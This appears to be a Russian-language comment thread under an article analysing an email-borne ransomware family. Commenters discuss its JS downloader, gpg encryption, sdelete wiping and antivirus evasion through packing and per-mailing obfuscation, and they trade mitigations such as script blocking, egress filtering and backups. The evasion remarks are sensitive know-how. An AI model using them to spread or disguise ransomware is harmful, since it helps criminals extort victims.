            Кто-нибудь видит что-то вредоносное в первой строке? Видишь суслика? Нет? А он есть

            Создаем файл, копируем в него первую строку кода, сохраняем как текстовый файл test.txt, загружаем на Virustotal

            ВНЕЗАПНО суслик:


            Печально… Прям хоть удаляй Avast! в пользу чего-то другого бесплатного… :-(
              +1
              Наиболее важно — детектирование файлов, которые получаются в процессе работы — их много, в них много заложено логики, они взаимосвязанны. Первоначальный js-даунлоадер является одним файлом, поэтому от рассылки к рассылке он переделывается и на момент рассылки практически никем не детектируется, а вот получающиеся в итоге файлы (ехе, батники) — вот их детект важен на самом деле. В свете этого интересно взглянуть на модификацию этих батников, ну и на батник 4c2e533d.cmd, например, ведь именно он является «боссом» по итогу.
                0
                Батник install.bat пробовал, результаты были под спойлером. 12/56 — думаю, в основном за счет сигнатур.

                А с 4c2e533d.cmd все довольно печально by design: файл этот генерируется динамически и каждый раз разный. А используемые команды ничего вредоносного по сути не содержат: ну шифрует пользователь файлы с последующим удалением — что ж с того?

                Как говорится,

                  +1
                  Да, так и есть. Примерно помню содержимое всех его файлов и внимательно около полугода слежу за эволюцией этого семейства (эволюцией содержимого его модулей, методов обфускации и т.д). Там все логично и понятно, вопросов особых не возникает, но есть некоторые неясные моменты по философии:
                  1. Почему так мало рассылок и почему ограничена языковая зона?
                  2. Почему от версии к версии такие небольшие изменения (т.е почему мирятся с детектами)?

                  Мои ответы на эти вопросы таковы:
                  1. Они хорошие технари, но плохие маркетологи (не могут наладить связи и партнерскую сеть организовать).
                  2. Конверсия и так высока, а дополнительные большие трудозатраты не повысят ее настолько, чтоб она окупила эти самые трудозатраты.

                  Конкретно по этому зловреду надо отметить еще раз (когда-то на хабре я это уже отмечал): в основном это российская угроза и российские антивирусы наиболее пристально за ней следят и достаточно уверенно обнаруживают.
        0
        А только меня мучает смутное подозрение, что после таких хороших инструкций появится больше вредителей рассылающих шифровальщики?
          0
          нужен свой хотс откуда будут выкачиваться без вопросов файлы, у нас год назад вирус выкачивал по 2-м частям почтовый клиент и склеивал их в один файл и отправлял через яндекс почту у вирусописателя в камментах на пароль к почте в «открытом виде» 'потом сменю', и удалял он у нас sdelete от майкрософта, очень хорошо удаляет)
            0
            Возможно, не только вас… Но меня не мучает.)

            Во-первых, написание вирусов требует относительно неплохой технической подготовки. Если ее нет — по одной такой статье троянца не напишешь. Опять же, как верно подсказывает Naz1st, главная проблема — создать C&C-сервер и поддерживать его работу. Плюс общение с «пользователями», плюс распространение… В одиночку довольно сложно, нужна группа.

            Во-вторых, нужно быть достаточно безбашенным, чтобы уйти в криминал. Со всеми проблемами — начиная от плохого сна и заканчивая выводом денег.

            Наконец, зачем вообще извращаться и писать все самому, когда...?)
            0
            Еще больше — не появятся.
            Аргументирую:
            1. В инете куча готовых инструментов (в том числе исходных кодов и т.н билдеров) для создания своих зловредов-шифровальщиков для их рассылки «клиентам» — два клика и готово.
            2. В этом топике ничего особенного не раскрыто, про этот шифровальщик подробно много где писали и выкладывали все его файлы — все кто хотел уже давно мог себе сделать такое — все эти скрипты являются исходниками, самим нужно лишь морфер сделать чтоб при каждой рассылке новый файлик был.
            3. Тем, кто и так в этой отрасли — могли и раньше в партнерках участие принять, если хотели.
            +2
            Наконец то повод задать вопрос, который давно меня мучает. Что мешает антивирусам распознавать таких троянов по типичному поведению? Порождённый браузером или почтовым клиентом процесс качает gpg и wipe, потом генерит какие-то батники, потом начинает по маске менять ВСЕ файлы на диске. По-моему, довольно жирный след в плане активности. Хотя бы ворнинг выдавало бы…
              +1
              +++++
              Хотя бы пофиксили бы уже САМЫЙ чудесный use-case последнего времени: «js-файл в архиве» и «scr-файл в архиве».
              Видимо, надо подождать пару месяцев лет, как в случае inf-файлов на флешках…
                0
                ну mail.ru, гугл и другие не дают вообще передавать исполняемые файлы, что батники что скрипты в любых видах кроме как в тексте письма. патом тока сиди и объясняй юзеру как ему это сохранить и переименовать чтобы получился скрипт.
                  0
                  Тут, кстати, вообще норм: zip-архив с паролем. Windows открывает на ура.
                    0
                    zip-архив с паролем не скрывает какие файлы внутри архива, можно посмотреть расширение размер и т.п. так что такие тоже блокируются у крупных почтовиков.
                      0
                      Действительно, попробовал себе с mail.ru на gmail переслать архив с пустым bat-файлом, так оно даже не дошло:
                      host gmail-smtp-in.l.google.com [64.233.162.26]:
                      552-5.7.0 This message was blocked because its content presents a potential
                      552-5.7.0 security issue. Please visit
                      552-5.7.0 support.google.com/mail/answer/6590 to review our message
                      552 5.7.0 content and attachment content guidelines.
                      Жесть какая. Это уже не безопасность, а издевательство какое-то.

                      Буду знать, спасибо.
                        0
                        7-zip позволяет зашифровать имена файлов в шифрованном архиве.
                          0
                          Увы, не для zip-архивов. А архивы другого типа (7z, rar) Windows не умеет открывать «из коробки».
                      0
                      Office365 позволяет переслать js внутри zip. У нас так один компьютер на работе пострадал.Спасло то, что троян сразу наткнулся на 6Г файл и надолго задумался, успели выключить. Поддержка O365 ничего дельного не посоветовала.Типа да, не блокируем, смиритесь.
                      0
                      А по-моему, напрасно в Майкрософте по умолчанию привязали js-файлы к WSH.
                        0
                        (мечтательно) Интересно, а если на уровне доменных политик разрегистрировать js-скрипты и scr-файлы, что отвалится?
                          0
                          Ага, мне вот тоже интересно
                    +1
                    Сталкивался с этой дрянью. Тоже немножко его поковырял, не столь глубоко, а просто, чтобы понять общий принцип. Очень впечатлен. По-моему, это гениально.
                    Троян не использует уязвимостей. Для попадания на комп использует социальную инженерию, письма, которые я видел, написаны очень правдоподобно. Выполняется с пользовательскими правами, и этого достаточно. Единственная операция требующая повышенных привилегий — удаление теневых копий. Троян использует довольно несложную обфускацию и простые лоадеры, но этого достаточно, чтобы обойти антивирусы. Троян использует открытую утилиту шифрования, пусть модифицированную (думаю из нее просто выкинули все ненужное для процесса), которая сама по себе тоже никак не возбуждает антивирусы. Немного магии асимметричного шифрования,TOR, биткоины. И всё! Хотя, конечно, нельзя отрицать отличных скилов автора в написании скриптов под cmd и Windows Scripting Host.
                      +1
                      Да, я тоже удивился, насколько все просто.)
                      Есть несколько недоработок, но разработчиков вполне можно понять — сроки, нетерпеливые клиенты…
                      Думаю, в будущем они исправят баги, и продукт станет еще красивее и элегантнее.
                        +1
                        Я видел более умные трояны такого типа, которые не генерируют ключевую пару PGP на клиенте, а скачивают уникальный публичный ключ с сервера. Вот с ними точно ничего не сделаешь, если они зашифровали все.

                        Хотя, видел недавно, как какие-то парни сделали детектор запущенного gpg, который ворует ключ из памяти. Как раз для таких случаев, когда люди не используют gpg в повседневной жизни, а, в случае, если подобного рода троян на компьютер проникнет, можно будет все расшифровать.
                      0
                      Антивирусы не спасают от от шифровальщиков, единственный способ — это контроль исходящего трафика фаерволом, на примере
                      этой статьи
                        0
                        От шифровальщиков такого типа (с докачкой) — да, пожалуй, спасет. Но к сожалению, не все так безоблачно.

                        Буквально на днях смотрел образец другого троянца… Просто scr-файл, который ничего не докачивает, а тупо шифрует все файлы на своем ключе и выводит на рабочий стол инструкции + email-адрес злоумышленников.

                        Единственный плюс — ключ расшифровки подойдет любой другой жертве, так что если повезет, то получится воспользоваться сервисом для разблокировки от какого-нибудь антивирусного вендора.
                        0
                        Я на компьютерах друзей и близких людей отключаю скрипты и командные файлы.
                        Неизвестные бинарники хорошо блокирует Усиленный режим Аваста. А скрипты и командные файлы отключаю.
                          +1
                          Учитывая тот факт, что сейчас этот файл определяется некоторыми антивирусными сканерами как вредоносный, я склоняюсь ко второму варианту. Было бы интересно услышать мнение читателей.

                          Тупо запаковали, но потом отказались от этой глупой идеи, т.к пакнутую версию детектируют все кому не лень, а дефолтную — нет (вирустотал чист). Аналогично и с sdelete (причем sdelete в этом году после летней эпидемии вышеописанного шифровальщика начал детектить Каспер и в незапакованном виде — чтоб неповадно было).

                            0
                            А можете для непосвященного человека пояснить, за счет чего упаковщик может сжать 70% объема исполняемого файла? Архивирование?
                              0
                              UPX — небольшой стаб, который распаковывает в памяти исходные байты, затем передает на них управление. Или не в этом вопрос?
                                0
                                Меня больше всего поразила именно разница в размерах файлов (сжатие на 70%).
                            0
                            Как вариант — запретить выполнения скриптовых файлов через локальные политики. Другой вариант — поменять ассоциации на текстовый редактор. Ну и докучи — запретить исполнять exe файлы не из Windows, Program Files, Program Files (x86).
                            И делать бэкапы.
                              0
                              Ну и докучи — запретить исполнять exe файлы не из Windows, Program Files, Program Files (x86).

                              Если такой совет использовать в отношении знакомых и близких людей, то они потом достанут звонками. Ведь установка/обновление программ часто подразумевает запуск бинарников из temp (от туда также стартует множество зловредов).
                              Но, для админа совет пойдет (если он сам лично занимается обновлением и установкой софта).

                            Only users with full accounts can post comments. Log in, please.